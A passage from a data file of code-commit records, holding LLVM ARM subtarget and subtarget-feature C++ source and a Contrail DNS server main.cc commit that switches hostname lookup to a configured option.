UseMovt = hasV6T2Ops() && ArmUseMOVT;\n\n  if (isTargetMachO()) {\n    IsR9Reserved = ReserveR9 || !HasV6Ops;\n    SupportsTailCall = !isTargetIOS() || !getTargetTriple().isOSVersionLT(5, 0);\n  } else {\n    IsR9Reserved = ReserveR9;\n    SupportsTailCall = !isThumb1Only();\n  }\n\n  if (Align == DefaultAlign) {\n    \/\/ Assume pre-ARMv6 doesn't support unaligned accesses.\n    \/\/\n    \/\/ ARMv6 may or may not support unaligned accesses depending on the\n    \/\/ SCTLR.U bit, which is architecture-specific. We assume ARMv6\n    \/\/ Darwin and NetBSD targets support unaligned accesses, and others don't.\n    \/\/\n    \/\/ ARMv7 always has SCTLR.U set to 1, but it has a new SCTLR.A bit\n    \/\/ which raises an alignment fault on unaligned accesses. Linux\n    \/\/ defaults this bit to 0 and handles it as a system-wide (not\n    \/\/ per-process) setting. It is therefore safe to assume that ARMv7+\n    \/\/ Linux targets support unaligned accesses. The same goes for NaCl.\n    \/\/\n    \/\/ The above behavior is consistent with GCC.\n    AllowsUnalignedMem =\n      (hasV7Ops() && (isTargetLinux() || isTargetNaCl() ||\n                      isTargetNetBSD())) ||\n      (hasV6Ops() && (isTargetMachO() || isTargetNetBSD()));\n  } else {\n    AllowsUnalignedMem = !(Align == StrictAlign);\n  }\n\n  \/\/ No v6M core supports unaligned memory access (v6M ARM ARM A3.2)\n  if (isV6M())\n    AllowsUnalignedMem = false;\n\n  switch (IT) {\n  case DefaultIT:\n    RestrictIT = hasV8Ops() ? true : false;\n    break;\n  case RestrictedIT:\n    RestrictIT = true;\n    break;\n  case NoRestrictedIT:\n    RestrictIT = false;\n    break;\n  }\n\n  \/\/ NEON f32 ops are non-IEEE 754 compliant. Darwin is ok with it by default.\n  uint64_t Bits = getFeatureBits();\n  if ((Bits & ARM::ProcA5 || Bits & ARM::ProcA8) && \/\/ Where this matters\n      (Options.UnsafeFPMath || isTargetDarwin()))\n    UseNEONForSinglePrecisionFP = true;\n}\n\n\/\/\/ GVIsIndirectSymbol - true if the GV will be accessed via an indirect symbol.\nbool\nARMSubtarget::GVIsIndirectSymbol(const GlobalValue *GV,\n                                 Reloc::Model RelocM) const {\n  if (RelocM == Reloc::Static)\n    return false;\n\n  \/\/ Materializable GVs (in JIT lazy compilation mode) do not require an extra\n  \/\/ load from stub.\n  bool isDecl = GV->hasAvailableExternallyLinkage();\n  if (GV->isDeclaration() && !GV->isMaterializable())\n    isDecl = true;\n\n  if (!isTargetMachO()) {\n    \/\/ Extra load is needed for all externally visible.\n    if (GV->hasLocalLinkage() || GV->hasHiddenVisibility())\n      return false;\n    return true;\n  } else {\n    if (RelocM == Reloc::PIC_) {\n      \/\/ If this is a strong reference to a definition, it is definitely not\n      \/\/ through a stub.\n      if (!isDecl && !GV->isWeakForLinker())\n        return false;\n\n      \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n      \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n      if (!GV->hasHiddenVisibility())  \/\/ Non-hidden $non_lazy_ptr reference.\n        return true;\n\n      \/\/ If symbol visibility is hidden, we have a stub for common symbol\n      \/\/ references and external declarations.\n      if (isDecl || GV->hasCommonLinkage())\n        \/\/ Hidden $non_lazy_ptr reference.\n        return true;\n\n      return false;\n    } else {\n      \/\/ If this is a strong reference to a definition, it is definitely not\n      \/\/ through a stub.\n      if (!isDecl && !GV->isWeakForLinker())\n        return false;\n\n      \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n      \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n      if (!GV->hasHiddenVisibility())  \/\/ Non-hidden $non_lazy_ptr reference.\n        return true;\n    }\n  }\n\n  return false;\n}\n\nunsigned ARMSubtarget::getMispredictionPenalty() const {\n  return SchedModel.MispredictPenalty;\n}\n\nbool ARMSubtarget::hasSinCos() const {\n  return getTargetTriple().isiOS() && !getTargetTriple().isOSVersionLT(7, 0);\n}\n\n\/\/ This overrides the PostRAScheduler bit in the SchedModel for any CPU.\nbool ARMSubtarget::enablePostMachineScheduler() const {\n  return (!isThumb() || hasThumb2());\n}\n\nbool ARMSubtarget::enableAtomicExpand() const {\n  return hasAnyDataBarrier() && !isThumb1Only();\n}\n\nbool ARMSubtarget::useMovt(const MachineFunction &MF) const {\n  \/\/ NOTE Windows on ARM needs to use mov.w\/mov.t pairs to materialise 32-bit\n  \/\/ immediates as it is inherently position independent, and may be out of\n  \/\/ range otherwise.\n  return UseMovt && (isTargetWindows() ||\n                     !MF.getFunction()->getAttributes().hasAttribute(\n                         AttributeSet::FunctionIndex, Attribute::MinSize));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <csignal>\n#include <fstream>\n\n#include <pthread.h>\n#include <boost\/program_options.hpp>\n#include \"nodeinfo_types.h\"\n#include \"base\/connection_info.h\"\n#include <base\/logging.h>\n#include <base\/misc_utils.h>\n#include <base\/contrail_ports.h>\n#include <base\/task.h>\n#include <io\/process_signal.h>\n#include <config_client_manager.h>\n#include <db\/db_graph.h>\n#include <ifmap\/client\/config_json_parser.h>\n#include <ifmap\/ifmap_link_table.h>\n#include \"ifmap\/ifmap_sandesh_context.h\"\n#include <ifmap\/ifmap_server.h>\n#include <ifmap\/ifmap_xmpp.h>\n#include <io\/event_manager.h>\n#include <vnc_cfg_types.h>\n#include <cmn\/dns.h>\n#include <bind\/bind_util.h>\n#include <mgr\/dns_mgr.h>\n#include <mgr\/dns_oper.h>\n#include <bind\/named_config.h>\n#include <cfg\/dns_config.h>\n#include <cfg\/dns_config_parser.h>\n#include <agent\/agent_xmpp_init.h>\n#include \"cmn\/dns_options.h\"\n#include <sandesh\/common\/vns_types.h>\n#include <sandesh\/common\/vns_constants.h>\n#include <uve\/uve.h>\n#include \"xmpp\/xmpp_sandesh.h\"\n\nnamespace opt = boost::program_options;\nusing namespace boost::asio::ip;\nusing namespace std;\nusing process::ConnectionInfo;\nusing process::ConnectionStateManager;\nusing process::GetProcessStateCb;\nusing process::ProcessState;\nusing process::ConnectionType;\nusing process::ConnectionTypeName;\nusing process::g_process_info_constants;\nusing process::Signal;\n\nuint64_t start_time;\nTaskTrigger *dns_info_trigger;\nTimer *dns_info_log_timer;\nstatic Options options;\n\nbool DnsInfoLogTimer() {\n    dns_info_trigger->Set();\n    return false;\n}\n\nbool DnsInfoLogger() {\n    DnsUveClient::SendDnsUve(start_time);\n\n    dns_info_log_timer->Cancel();\n    dns_info_log_timer->Start(60*1000, boost::bind(&DnsInfoLogTimer),NULL);\n    return true;\n}\n\nstatic void DnsServerGetProcessStateCb(\n   const ConfigClientManager *config_client_manager,\n   const std::vector<ConnectionInfo> &cinfos,\n   ProcessState::type &state, std::string &message,\n   std::vector<ConnectionTypeName> expected_connections) {\n    GetProcessStateCb(cinfos, state, message, expected_connections);\n    if (state == ProcessState::NON_FUNCTIONAL)\n        return;\n    if (!config_client_manager->GetEndOfRibComputed()) {\n        state = ProcessState::NON_FUNCTIONAL;\n        message = \"IFMap Server End-Of-RIB not computed\";\n    }\n}\n\nstatic string FileRead(const string &filename) {\n    ifstream file(filename.c_str());\n    string content((istreambuf_iterator<char>(file)),\n                   istreambuf_iterator<char>());\n    return content;\n}\n\nstatic void IFMap_Initialize(IFMapServer *server, ConfigJsonParser *json_parser) {\n    IFMapLinkTable_Init(server->database(), server->graph());\n    vnc_cfg_JsonParserInit(json_parser);\n    vnc_cfg_Server_ModuleInit(server->database(), server->graph());\n    server->Initialize();\n}\n\nstatic bool OptionsParse(Options &options, int argc, char *argv[]) {\n    try {\n        options.Parse(*Dns::GetEventManager(), argc, argv);\n        return true;\n    } catch (boost::program_options::error &e) {\n        cout << \"Error \" << e.what() << endl;\n    } catch (...) {\n        cout << \"Options Parser: Caught fatal unknown exception\" << endl;\n    }\n\n    return false;\n}\n\nvoid ReConfigSignalHandler(const boost::system::error_code &error, int sig) {\n    if (error) {\n        LOG(ERROR, \"SIGHUP handler ERROR: \" << error);\n        return;\n    }\n    options.ParseReConfig();\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ Initialize the task scheduler\n    int num_threads_to_tbb = TaskScheduler::GetDefaultThreadCount() +\n        ConfigClientManager::GetNumWorkers();\n    TaskScheduler::Initialize(num_threads_to_tbb);\n\n    \/\/ Create DB table and event manager\n    Dns::Init();\n\n    \/\/ Process options from command-line and configuration file.\n    if (!OptionsParse(options, argc, argv)) {\n        exit(-1);\n    }\n\n    srand(unsigned(time(NULL)));\n    std::vector<Signal::SignalHandler> sighup_handlers = boost::assign::list_of\n        (boost::bind(&ReConfigSignalHandler, _1, _2));\n    Signal::SignalCallbackMap smap = boost::assign::map_list_of\n        (SIGHUP, sighup_handlers);\n    Signal signal(Dns::GetEventManager(), smap);\n\n    Dns::SetProgramName(argv[0]);\n    Module::type module = Module::DNS;\n    string module_name = g_vns_constants.ModuleNames.find(module)->second;\n\n    std::string log_property_file = options.log_property_file();\n    if (log_property_file.size()) {\n        LoggingInit(log_property_file);\n    }\n    else {\n        LoggingInit(options.log_file(), options.log_file_size(),\n                    options.log_files_count(), options.use_syslog(),\n                    options.syslog_facility(), module_name,\n                    SandeshLevelTolog4Level(\n                        Sandesh::StringToLevel(options.log_level())));\n    }\n\n    string build_info_str;\n    Dns::GetVersion(build_info_str);\n    MiscUtils::LogVersionInfo(build_info_str, Category::DNSAGENT);\n\n    if (options.collectors_configured()) {\n        Dns::SetCollector(options.collector_server_list()[0]);\n    }\n    Dns::SetHttpPort(options.http_server_port());\n    Dns::SetDnsPort(options.dns_server_port());\n\n    boost::system::error_code ec;\n    string hostname = host_name(ec);\n    Dns::SetHostName(hostname);\n\n    ConnectionStateManager::GetInstance();\n    NodeType::type node_type =\n        g_vns_constants.Module2NodeType.find(module)->second;\n    bool success(Sandesh::InitGenerator(\n                 module_name,\n                 options.hostname(),\n                 g_vns_constants.NodeTypeNames.find(node_type)->second,\n                 g_vns_constants.INSTANCE_ID_DEFAULT,\n                 Dns::GetEventManager(),\n                 options.http_server_port(),\n                 options.randomized_collector_server_list(),\n                 NULL,\n                 Sandesh::DerivedStats(),\n                 options.sandesh_config()));\n    if (!success) {\n        LOG(ERROR, \"SANDESH: Initialization FAILED ... exiting\");\n        Sandesh::Uninit();\n        exit(1);\n    }\n    Sandesh::SetLoggingParams(options.log_local(), options.log_category(),\n                              options.log_level());\n\n    \/\/ XXX Disable logging -- for test purposes only\n    if (options.log_disable()) {\n        SetLoggingDisabled(true);\n    }\n\n    \/\/ DNS::SetTestMode(options.test_mode());\n\n    DB config_db(TaskScheduler::GetInstance()->GetTaskId(\"db::IFMapTable\"));\n    DBGraph config_graph;\n    IFMapServer ifmap_server(&config_db, &config_graph,\n                             Dns::GetEventManager()->io_service());\n\n    ConfigFactory::Register<ConfigJsonParserBase>(\n                          boost::factory<ConfigJsonParser *>());\n    ConfigClientManager *config_client_manager =\n        new ConfigClientManager(Dns::GetEventManager(), options.hostname(),\n                  module_name, options.configdb_options());\n    ConfigJsonParser *json_parser =\n      static_cast<ConfigJsonParser *>(config_client_manager->config_json_parser());\n    json_parser->ifmap_server_set(&ifmap_server);\n    IFMap_Initialize(&ifmap_server, json_parser);\n\n\n    DnsManager dns_manager;\n    Dns::SetDnsManager(&dns_manager);\n    dns_manager.Initialize(&config_db, &config_graph,\n                           options.named_config_dir(),\n                           options.named_config_file(),\n                           options.named_log_file(),\n                           options.rndc_config_file(),\n                           options.rndc_secret(),\n                           options.named_max_cache_size(),\n                           options.named_max_retransmissions(),\n                           options.named_retransmission_interval());\n    DnsConfigParser parser(&config_db);\n    parser.Parse(FileRead(options.config_file()));\n\n    Dns::SetSelfIp(options.host_ip());\n    if (!DnsAgentXmppManager::Init(options.xmpp_auth_enabled(),\n                                   options.xmpp_server_cert(),\n                                   options.xmpp_server_key(),\n                                   options.xmpp_ca_cert())) {\n        LOG(ERROR, \"Address already in use \" << ContrailPorts::DnsXmpp());\n        exit(1);\n    }\n\n    XmppSandeshContext xmpp_sandesh_context;\n    xmpp_sandesh_context.xmpp_server = Dns::GetXmppServer();\n    Sandesh::set_module_context(\"XMPP\", &xmpp_sandesh_context);\n    IFMapSandeshContext ifmap_sandesh_context(&ifmap_server);\n    Sandesh::set_module_context(\"IFMap\", &ifmap_sandesh_context);\n\n    start_time = UTCTimestampUsec();\n    dns_info_trigger =\n            new TaskTrigger(boost::bind(&DnsInfoLogger),\n                    TaskScheduler::GetInstance()->GetTaskId(\"dns::Config\"), 0);\n\n    dns_info_log_timer =\n        TimerManager::CreateTimer(*(Dns::GetEventManager()->io_service()),\n                                                   \"Dns Info log timer\");\n    dns_info_log_timer->Start(60*1000, boost::bind(&DnsInfoLogTimer), NULL);\n    Dns::SetSelfIp(options.host_ip());\n    ifmap_server.set_config_manager(config_client_manager);\n\n    \/\/\n    \/\/ Determine if the number of connections is as expected.\n    \/\/ 1. Cassandra Server\n    \/\/ 2. AMQP Server\n    \/\/\n    std::vector<ConnectionTypeName> expected_connections;\n    expected_connections = boost::assign::list_of\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::COLLECTOR)->second, \"\"))\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::DATABASE)->second, \"Cassandra\"))\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::DATABASE)->second, \"RabbitMQ\"));\n\n    ConnectionStateManager::GetInstance()->Init(\n        *(Dns::GetEventManager()->io_service()), options.hostname(),\n        module_name, g_vns_constants.INSTANCE_ID_DEFAULT,\n        boost::bind(&DnsServerGetProcessStateCb, config_client_manager, _1, _2, _3,\n                    expected_connections), \"ObjectDns\");\n\n    dns_manager.set_config_manager(config_client_manager);\n    options.set_config_client_manager(config_client_manager);\n    config_client_manager->Initialize();\n\n    Dns::GetEventManager()->Run();\n    signal.Terminate();\n    return 0;\n}\n<commit_msg>control-dns must use correct fqdn<commit_after>\/*\n * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.\n *\/\n\n#include <csignal>\n#include <fstream>\n\n#include <pthread.h>\n#include <boost\/program_options.hpp>\n#include \"nodeinfo_types.h\"\n#include \"base\/connection_info.h\"\n#include <base\/logging.h>\n#include <base\/misc_utils.h>\n#include <base\/contrail_ports.h>\n#include <base\/task.h>\n#include <io\/process_signal.h>\n#include <config_client_manager.h>\n#include <db\/db_graph.h>\n#include <ifmap\/client\/config_json_parser.h>\n#include <ifmap\/ifmap_link_table.h>\n#include \"ifmap\/ifmap_sandesh_context.h\"\n#include <ifmap\/ifmap_server.h>\n#include <ifmap\/ifmap_xmpp.h>\n#include <io\/event_manager.h>\n#include <vnc_cfg_types.h>\n#include <cmn\/dns.h>\n#include <bind\/bind_util.h>\n#include <mgr\/dns_mgr.h>\n#include <mgr\/dns_oper.h>\n#include <bind\/named_config.h>\n#include <cfg\/dns_config.h>\n#include <cfg\/dns_config_parser.h>\n#include <agent\/agent_xmpp_init.h>\n#include \"cmn\/dns_options.h\"\n#include <sandesh\/common\/vns_types.h>\n#include <sandesh\/common\/vns_constants.h>\n#include <uve\/uve.h>\n#include \"xmpp\/xmpp_sandesh.h\"\n\nnamespace opt = boost::program_options;\nusing namespace boost::asio::ip;\nusing namespace std;\nusing process::ConnectionInfo;\nusing process::ConnectionStateManager;\nusing process::GetProcessStateCb;\nusing process::ProcessState;\nusing process::ConnectionType;\nusing process::ConnectionTypeName;\nusing process::g_process_info_constants;\nusing process::Signal;\n\nuint64_t start_time;\nTaskTrigger *dns_info_trigger;\nTimer *dns_info_log_timer;\nstatic Options options;\n\nbool DnsInfoLogTimer() {\n    dns_info_trigger->Set();\n    return false;\n}\n\nbool DnsInfoLogger() {\n    DnsUveClient::SendDnsUve(start_time);\n\n    dns_info_log_timer->Cancel();\n    dns_info_log_timer->Start(60*1000, boost::bind(&DnsInfoLogTimer),NULL);\n    return true;\n}\n\nstatic void DnsServerGetProcessStateCb(\n   const ConfigClientManager *config_client_manager,\n   const std::vector<ConnectionInfo> &cinfos,\n   ProcessState::type &state, std::string &message,\n   std::vector<ConnectionTypeName> expected_connections) {\n    GetProcessStateCb(cinfos, state, message, expected_connections);\n    if (state == ProcessState::NON_FUNCTIONAL)\n        return;\n    if (!config_client_manager->GetEndOfRibComputed()) {\n        state = ProcessState::NON_FUNCTIONAL;\n        message = \"IFMap Server End-Of-RIB not computed\";\n    }\n}\n\nstatic string FileRead(const string &filename) {\n    ifstream file(filename.c_str());\n    string content((istreambuf_iterator<char>(file)),\n                   istreambuf_iterator<char>());\n    return content;\n}\n\nstatic void IFMap_Initialize(IFMapServer *server, ConfigJsonParser *json_parser) {\n    IFMapLinkTable_Init(server->database(), server->graph());\n    vnc_cfg_JsonParserInit(json_parser);\n    vnc_cfg_Server_ModuleInit(server->database(), server->graph());\n    server->Initialize();\n}\n\nstatic bool OptionsParse(Options &options, int argc, char *argv[]) {\n    try {\n        options.Parse(*Dns::GetEventManager(), argc, argv);\n        return true;\n    } catch (boost::program_options::error &e) {\n        cout << \"Error \" << e.what() << endl;\n    } catch (...) {\n        cout << \"Options Parser: Caught fatal unknown exception\" << endl;\n    }\n\n    return false;\n}\n\nvoid ReConfigSignalHandler(const boost::system::error_code &error, int sig) {\n    if (error) {\n        LOG(ERROR, \"SIGHUP handler ERROR: \" << error);\n        return;\n    }\n    options.ParseReConfig();\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ Initialize the task scheduler\n    int num_threads_to_tbb = TaskScheduler::GetDefaultThreadCount() +\n        ConfigClientManager::GetNumWorkers();\n    TaskScheduler::Initialize(num_threads_to_tbb);\n\n    \/\/ Create DB table and event manager\n    Dns::Init();\n\n    \/\/ Process options from command-line and configuration file.\n    if (!OptionsParse(options, argc, argv)) {\n        exit(-1);\n    }\n\n    srand(unsigned(time(NULL)));\n    std::vector<Signal::SignalHandler> sighup_handlers = boost::assign::list_of\n        (boost::bind(&ReConfigSignalHandler, _1, _2));\n    Signal::SignalCallbackMap smap = boost::assign::map_list_of\n        (SIGHUP, sighup_handlers);\n    Signal signal(Dns::GetEventManager(), smap);\n\n    Dns::SetProgramName(argv[0]);\n    Module::type module = Module::DNS;\n    string module_name = g_vns_constants.ModuleNames.find(module)->second;\n\n    std::string log_property_file = options.log_property_file();\n    if (log_property_file.size()) {\n        LoggingInit(log_property_file);\n    }\n    else {\n        LoggingInit(options.log_file(), options.log_file_size(),\n                    options.log_files_count(), options.use_syslog(),\n                    options.syslog_facility(), module_name,\n                    SandeshLevelTolog4Level(\n                        Sandesh::StringToLevel(options.log_level())));\n    }\n\n    string build_info_str;\n    Dns::GetVersion(build_info_str);\n    MiscUtils::LogVersionInfo(build_info_str, Category::DNSAGENT);\n\n    if (options.collectors_configured()) {\n        Dns::SetCollector(options.collector_server_list()[0]);\n    }\n    Dns::SetHttpPort(options.http_server_port());\n    Dns::SetDnsPort(options.dns_server_port());\n\n    string hostname = options.hostname();\n    Dns::SetHostName(hostname);\n\n    ConnectionStateManager::GetInstance();\n    NodeType::type node_type =\n        g_vns_constants.Module2NodeType.find(module)->second;\n    bool success(Sandesh::InitGenerator(\n                 module_name,\n                 options.hostname(),\n                 g_vns_constants.NodeTypeNames.find(node_type)->second,\n                 g_vns_constants.INSTANCE_ID_DEFAULT,\n                 Dns::GetEventManager(),\n                 options.http_server_port(),\n                 options.randomized_collector_server_list(),\n                 NULL,\n                 Sandesh::DerivedStats(),\n                 options.sandesh_config()));\n    if (!success) {\n        LOG(ERROR, \"SANDESH: Initialization FAILED ... exiting\");\n        Sandesh::Uninit();\n        exit(1);\n    }\n    Sandesh::SetLoggingParams(options.log_local(), options.log_category(),\n                              options.log_level());\n\n    \/\/ XXX Disable logging -- for test purposes only\n    if (options.log_disable()) {\n        SetLoggingDisabled(true);\n    }\n\n    \/\/ DNS::SetTestMode(options.test_mode());\n\n    DB config_db(TaskScheduler::GetInstance()->GetTaskId(\"db::IFMapTable\"));\n    DBGraph config_graph;\n    IFMapServer ifmap_server(&config_db, &config_graph,\n                             Dns::GetEventManager()->io_service());\n\n    ConfigFactory::Register<ConfigJsonParserBase>(\n                          boost::factory<ConfigJsonParser *>());\n    ConfigClientManager *config_client_manager =\n        new ConfigClientManager(Dns::GetEventManager(), options.hostname(),\n                  module_name, options.configdb_options());\n    ConfigJsonParser *json_parser =\n      static_cast<ConfigJsonParser *>(config_client_manager->config_json_parser());\n    json_parser->ifmap_server_set(&ifmap_server);\n    IFMap_Initialize(&ifmap_server, json_parser);\n\n\n    DnsManager dns_manager;\n    Dns::SetDnsManager(&dns_manager);\n    dns_manager.Initialize(&config_db, &config_graph,\n                           options.named_config_dir(),\n                           options.named_config_file(),\n                           options.named_log_file(),\n                           options.rndc_config_file(),\n                           options.rndc_secret(),\n                           options.named_max_cache_size(),\n                           options.named_max_retransmissions(),\n                           options.named_retransmission_interval());\n    DnsConfigParser parser(&config_db);\n    parser.Parse(FileRead(options.config_file()));\n\n    Dns::SetSelfIp(options.host_ip());\n    if (!DnsAgentXmppManager::Init(options.xmpp_auth_enabled(),\n                                   options.xmpp_server_cert(),\n                                   options.xmpp_server_key(),\n                                   options.xmpp_ca_cert())) {\n        LOG(ERROR, \"Address already in use \" << ContrailPorts::DnsXmpp());\n        exit(1);\n    }\n\n    XmppSandeshContext xmpp_sandesh_context;\n    xmpp_sandesh_context.xmpp_server = Dns::GetXmppServer();\n    Sandesh::set_module_context(\"XMPP\", &xmpp_sandesh_context);\n    IFMapSandeshContext ifmap_sandesh_context(&ifmap_server);\n    Sandesh::set_module_context(\"IFMap\", &ifmap_sandesh_context);\n\n    start_time = UTCTimestampUsec();\n    dns_info_trigger =\n            new TaskTrigger(boost::bind(&DnsInfoLogger),\n                    TaskScheduler::GetInstance()->GetTaskId(\"dns::Config\"), 0);\n\n    dns_info_log_timer =\n        TimerManager::CreateTimer(*(Dns::GetEventManager()->io_service()),\n                                                   \"Dns Info log timer\");\n    dns_info_log_timer->Start(60*1000, boost::bind(&DnsInfoLogTimer), NULL);\n    Dns::SetSelfIp(options.host_ip());\n    ifmap_server.set_config_manager(config_client_manager);\n\n    \/\/\n    \/\/ Determine if the number of connections is as expected.\n    \/\/ 1. Cassandra Server\n    \/\/ 2. AMQP Server\n    \/\/\n    std::vector<ConnectionTypeName> expected_connections;\n    expected_connections = boost::assign::list_of\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::COLLECTOR)->second, \"\"))\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::DATABASE)->second, \"Cassandra\"))\n         (ConnectionTypeName(g_process_info_constants.ConnectionTypeNames.find(\n                             ConnectionType::DATABASE)->second, \"RabbitMQ\"));\n\n    ConnectionStateManager::GetInstance()->Init(\n        *(Dns::GetEventManager()->io_service()), options.hostname(),\n        module_name, g_vns_constants.INSTANCE_ID_DEFAULT,\n        boost::bind(&DnsServerGetProcessStateCb, config_client_manager, _1, _2, _3,\n                    expected_connections), \"ObjectDns\");\n\n    dns_manager.set_config_manager(config_client_manager);\n    options.set_config_client_manager(config_client_manager);\n    config_client_manager->Initialize();\n\n    Dns::GetEventManager()->Run();\n    signal.Terminate();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- SubtargetFeature.cpp - CPU characteristics Implementation ----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the SubtargetFeature interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/SubtargetFeature.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <algorithm>\n#include <cassert>\n#include <cctype>\nusing namespace llvm;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                          Static Helper Functions\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ hasFlag - Determine if a feature has a flag; '+' or '-'\n\/\/\/\nstatic inline bool hasFlag(const std::string &Feature) {\n  assert(!Feature.empty() && \"Empty string\");\n  \/\/ Get first character\n  char Ch = Feature[0];\n  \/\/ Check if first character is '+' or '-' flag\n  return Ch == '+' || Ch =='-';\n}\n\n\/\/\/ StripFlag - Return string stripped of flag.\n\/\/\/\nstatic inline std::string StripFlag(const std::string &Feature) {\n  return hasFlag(Feature) ? Feature.substr(1) : Feature;\n}\n\n\/\/\/ isEnabled - Return true if enable flag; '+'.\n\/\/\/\nstatic inline bool isEnabled(const std::string &Feature) {\n  assert(!Feature.empty() && \"Empty string\");\n  \/\/ Get first character\n  char Ch = Feature[0];\n  \/\/ Check if first character is '+' for enabled\n  return Ch == '+';\n}\n\n\/\/\/ PrependFlag - Return a string with a prepended flag; '+' or '-'.\n\/\/\/\nstatic inline std::string PrependFlag(const std::string &Feature,\n                                      bool IsEnabled) {\n  assert(!Feature.empty() && \"Empty string\");\n  if (hasFlag(Feature)) return Feature;\n  return std::string(IsEnabled ? \"+\" : \"-\") + Feature;\n}\n\n\/\/\/ Split - Splits a string of comma separated items in to a vector of strings.\n\/\/\/\nstatic void Split(std::vector<std::string> &V, const std::string &S) {\n  \/\/ Start at beginning of string.\n  size_t Pos = 0;\n  while (true) {\n    \/\/ Find the next comma\n    size_t Comma = S.find(',', Pos);\n    \/\/ If no comma found then the the rest of the string is used\n    if (Comma == std::string::npos) {\n      \/\/ Add string to vector\n      V.push_back(S.substr(Pos));\n      break;\n    }\n    \/\/ Otherwise add substring to vector\n    V.push_back(S.substr(Pos, Comma - Pos));\n    \/\/ Advance to next item\n    Pos = Comma + 1;\n  }\n}\n\n\/\/\/ Join a vector of strings to a string with a comma separating each element.\n\/\/\/\nstatic std::string Join(const std::vector<std::string> &V) {\n  \/\/ Start with empty string.\n  std::string Result;\n  \/\/ If the vector is not empty \n  if (!V.empty()) {\n    \/\/ Start with the CPU feature\n    Result = V[0];\n    \/\/ For each successive feature\n    for (size_t i = 1; i < V.size(); i++) {\n      \/\/ Add a comma\n      Result += \",\";\n      \/\/ Add the feature\n      Result += V[i];\n    }\n  }\n  \/\/ Return the features string \n  return Result;\n}\n\n\/\/\/ Adding features.\nvoid SubtargetFeatures::AddFeature(const std::string &String,\n                                   bool IsEnabled) {\n  \/\/ Don't add empty features\n  if (!String.empty()) {\n    \/\/ Convert to lowercase, prepend flag and add to vector\n    Features.push_back(PrependFlag(LowercaseString(String), IsEnabled));\n  }\n}\n\n\/\/\/ Find KV in array using binary search.\ntemplate<typename T> const T *Find(const std::string &S, const T *A, size_t L) {\n  \/\/ Make the lower bound element we're looking for\n  T KV;\n  KV.Key = S.c_str();\n  \/\/ Determine the end of the array\n  const T *Hi = A + L;\n  \/\/ Binary search the array\n  const T *F = std::lower_bound(A, Hi, KV);\n  \/\/ If not found then return NULL\n  if (F == Hi || std::string(F->Key) != S) return NULL;\n  \/\/ Return the found array item\n  return F;\n}\n\n\/\/\/ getLongestEntryLength - Return the length of the longest entry in the table.\n\/\/\/\nstatic size_t getLongestEntryLength(const SubtargetFeatureKV *Table,\n                                    size_t Size) {\n  size_t MaxLen = 0;\n  for (size_t i = 0; i < Size; i++)\n    MaxLen = std::max(MaxLen, std::strlen(Table[i].Key));\n  return MaxLen;\n}\n\n\/\/\/ Display help for feature choices.\n\/\/\/\nstatic void Help(const SubtargetFeatureKV *CPUTable, size_t CPUTableSize,\n                 const SubtargetFeatureKV *FeatTable, size_t FeatTableSize) {\n  \/\/ Determine the length of the longest CPU and Feature entries.\n  unsigned MaxCPULen  = getLongestEntryLength(CPUTable, CPUTableSize);\n  unsigned MaxFeatLen = getLongestEntryLength(FeatTable, FeatTableSize);\n\n  \/\/ Print the CPU table.\n  errs() << \"Available CPUs for this target:\\n\\n\";\n  for (size_t i = 0; i != CPUTableSize; i++)\n    errs() << \"  \" << CPUTable[i].Key\n         << std::string(MaxCPULen - std::strlen(CPUTable[i].Key), ' ')\n         << \" - \" << CPUTable[i].Desc << \".\\n\";\n  errs() << \"\\n\";\n  \n  \/\/ Print the Feature table.\n  errs() << \"Available features for this target:\\n\\n\";\n  for (size_t i = 0; i != FeatTableSize; i++)\n    errs() << \"  \" << FeatTable[i].Key\n         << std::string(MaxFeatLen - std::strlen(FeatTable[i].Key), ' ')\n         << \" - \" << FeatTable[i].Desc << \".\\n\";\n  errs() << \"\\n\";\n  \n  errs() << \"Use +feature to enable a feature, or -feature to disable it.\\n\"\n       << \"For example, llc -mcpu=mycpu -mattr=+feature1,-feature2\\n\";\n  exit(1);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                    SubtargetFeatures Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nSubtargetFeatures::SubtargetFeatures(const std::string &Initial) {\n  \/\/ Break up string into separate features\n  Split(Features, Initial);\n}\n\n\nstd::string SubtargetFeatures::getString() const {\n  return Join(Features);\n}\nvoid SubtargetFeatures::setString(const std::string &Initial) {\n  \/\/ Throw out old features\n  Features.clear();\n  \/\/ Break up string into separate features\n  Split(Features, LowercaseString(Initial));\n}\n\n\n\/\/\/ setCPU - Set the CPU string.  Replaces previous setting.  Setting to \"\"\n\/\/\/ clears CPU.\nvoid SubtargetFeatures::setCPU(const std::string &String) {\n  Features[0] = LowercaseString(String);\n}\n\n\n\/\/\/ setCPUIfNone - Setting CPU string only if no string is set.\n\/\/\/\nvoid SubtargetFeatures::setCPUIfNone(const std::string &String) {\n  if (Features[0].empty()) setCPU(String);\n}\n\n\/\/\/ getCPU - 